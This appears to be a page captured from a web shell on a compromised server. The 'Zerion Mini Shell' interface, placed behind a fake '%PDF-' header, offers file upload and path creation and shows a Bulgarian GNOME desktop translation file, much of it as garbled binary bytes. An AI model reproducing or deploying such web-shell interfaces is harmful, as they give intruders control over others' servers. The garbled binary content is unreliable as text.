%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-46-2404/164/usr/share/locale/bg/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-46-2404/164/usr/share/locale/bg/LC_MESSAGES/gnome-desktop-3.0.mo

��)d;�����������	)9LUai$�D�-� 
)4.Q����&����%FA��*Vi�����	�	�		�	
�	�	�	�	�	�		

*
:
M
V
b
Mj
C�
g�
nd��>�Z8��9��J�H:
�
�
I�
`�
fR_�?�Y

)'(#&$! "
%	%R%R:%S%a %R%a %R:%S%a %b %-e_%R%a %b %-e_%R:%S%a %b %-e_%l:%M %p%a %b %-e_%l:%M:%S %p%a %l:%M %p%a %l:%M:%S %p%b %-e_%R%b %-e_%R:%S%b %-e_%l:%M %p%b %-e_%l:%M:%S %p%l:%M %p%l:%M:%S %pAbegedeCRTC %d cannot drive output %sCRTC %d does not support rotation=%dCRTC %d: trying mode %dx%d@%dHz with output at %dx%d@%dHz (pass %d)
Could not find thumbnailer for mime-type '%s'CyrillicDevanagariFailed to create folder '%s'File %s does not have a preview icon attributeIQTElifLatinNo loadable icon for %sSahoThe output folder '%s' is not writableTrying modes for CRTC %d
UnspecifiedValenciacannot clone to output %scould not assign CRTCs to outputs:
%snone of the selected modes were compatible with the possible modes:
%soutput %s does not have the same parameters as another cloned output:
existing mode = %d, new mode = %d
existing coordinates = (%d, %d), new coordinates = (%d, %d)
existing rotation = %d, new rotation = %doutput %s does not support mode %dx%d@%dHzrequired virtual size does not fit available size: requested=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)time separator∶Project-Id-Version: gnome-desktop master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-desktop/issues
PO-Revision-Date: 2022-09-10 12:29+0200
Last-Translator: Alexander Shopov <ash@kambanaria.org>
Language-Team: Bulgarian <dict@fsa-bg.org>
Language: bg
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
%R%R:%S%a, %R%a, %R:%S%a, %-e %b_%R%a, %-e %b_%R:%S%a, %-e %b_%l:%M %p%a, %-e %b_%l:%M:%S %p%a, %l:%M %p%a, %l:%M:%S %p%-e %b_%R%a, %-e %b_%R:%S%-e %b_%l:%M %p%-e %b_%l:%M:%S %p%l:%M %p%l:%M:%S %pAbegedeВидеокарта %d не може да управлява изхода %sВидеокарта %d не поддържа завъртане=%dВидеокарта %d: проба на режим %dx%d@%dHz с изход %dx%d@%dHz (%d-и пас)
Липсва програма за създаване на миниатюри за вида по MIME „%s“КирилицаДеванагариПапката „%s“ не може да се създадеВъв файла „%s“ липсва атрибут за икона за прегледIQTElifЛатиницаНяма икона за зареждане за „%s“СахоНе може да се пише в изходната папка „%s“Изпробване на режимите за видеокарта %d
НеуказаноВаленсияповтаряне на изображението към изхода %sна следните изходи не може да се зададе видеокарта:
%sникой от избраните режими не е съвместим с възможните:
%sизходът %s е с различни параметри от този, чието изображение трябва да повтори:
текущ режим = %d, нов режим = %d
текущи координати = (%d, %d), нови координати = (%d, %d)
текущо завъртане = %d, ново завъртане = %dекранът %s не поддържа режима %dx%d@%dHzизисканият виртуален размер не пасва на действащия: изискан=(%d, %d), минимален=(%d, %d), максимален=(%d, %d)∶

Zerion Mini Shell 1.0